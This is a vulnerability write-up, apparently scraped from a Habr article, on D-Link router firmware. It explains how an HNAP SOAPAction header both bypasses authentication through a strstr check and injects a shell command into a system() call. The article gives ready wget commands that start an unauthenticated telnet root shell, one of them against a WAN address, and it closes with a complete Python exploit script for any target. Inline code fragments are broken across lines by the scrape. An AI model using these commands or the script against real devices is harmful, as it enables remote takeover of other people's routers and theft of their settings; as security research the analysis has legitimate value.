DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress
$ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
$ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
main
compares argv[0]
with a list of symlink names known to it ( captcha.cgi
, conntrack.cgi
, etc.) to determine what action to perform:hnap_main
function in cgibin
.GetDeviceInfo
(which is useless), require HTTP Basic authentication. POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <AddPortMapping xmlns="http://purenetworks.com/HNAP1/"> <PortMappingDescription>foobar</PortMappingDescription> <InternalClient>192.168.0.100</InternalClient> <PortMappingProtocol>TCP</PortMappingProtocol> <ExternalPort>1234</ExternalPort> <InternalPort>1234</InternalPort> </AddPortMapping> </soap:Body> </soap:Envelope>
SOAPAction
header is very important in an HNAP request, because it is he who sets what action the server will perform (the AddPortMapping
action in the example above).cgibin
launched as a CGI application by the web server, hnap_main
receives the data of the HNAP request, for example, the SOAPAction
header, via environment variables:hnap_main
, a shell command is generated by calling sprintf
, which is then executed through the system
:hnap_main
uses data from the SOAPAction
header within the system
command! This bug gives hope, especially if the SOAPAction
header is not escaped, and if we can get to this place without authentication.hnap_main
, it is checked whether the SOAPAction
header is equal to the string purenetworks.com/HNAP1/GetDeviceSettings
purenetworks.com/HNAP1/GetDeviceSettings
, and if it is equal, authentication is skipped. This is expected, we have already noticed earlier that GetDeviceSettings
does not require authentication:strstr
function is used for checking, which only checks for the presence of the string purenetworks.com/HNAP1/GetDeviceSettings
purenetworks.com/HNAP1/GetDeviceSettings
in the SOAPAction
header, not equality to it.SOAPAction
header contains a substring purenetworks.com/HNAP1/GetDeviceSettings
purenetworks.com/HNAP1/GetDeviceSettings
, the function retrieves the name of the action (i.e. GetDeviceSettings
) from the header and removes double quotes:GetDeviceSettings
) is GetDeviceSettings
from the header, then it goes to the system
, passing sprintf
. /* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command);
SOAPAction
header purenetworks.com/HNAP1/GetDeviceSettings
sprintf
(and system
) everything that is after the last slash in the SOAPAction
header is SOAPAction
SOAPAction
header that will satisfy the authentication bypass and allow us to pass our string to the system
: SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
purenetworks.com/HNAP1/GetDeviceSettings
purenetworks.com/HNAP1/GetDeviceSettings
in the header allows us to bypass authentication, and the string `reboot`
will be passed to the system
system("sh /var/run/`reboot`.sh > /dev/console");
reboot
with telnetd
we will start the telnet server without authentication: $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
cgibin
will wait for telnetd to complete. Here is a little Python PoC that makes everything a bit more comfortable: #!/usr/bin/env python import sys import urllib2 import httplib try: ip_port = sys.argv[1].split(':') ip = ip_port[0] if len(ip_port) == 2: port = ip_port[1] elif len(ip_port) == 1: port = "80" else: raise IndexError except IndexError: print "Usage: %s <target ip:port>" % sys.argv[0] sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = { "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command, } req = urllib2.Request(url, None, headers) try: urllib2.urlopen(req) raise Exception("Unexpected response") except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit(0) except Exception: print "Received an unexpected response from the server; exploit probably failed. :("
Source: https://habr.com/ru/post/256451/
All Articles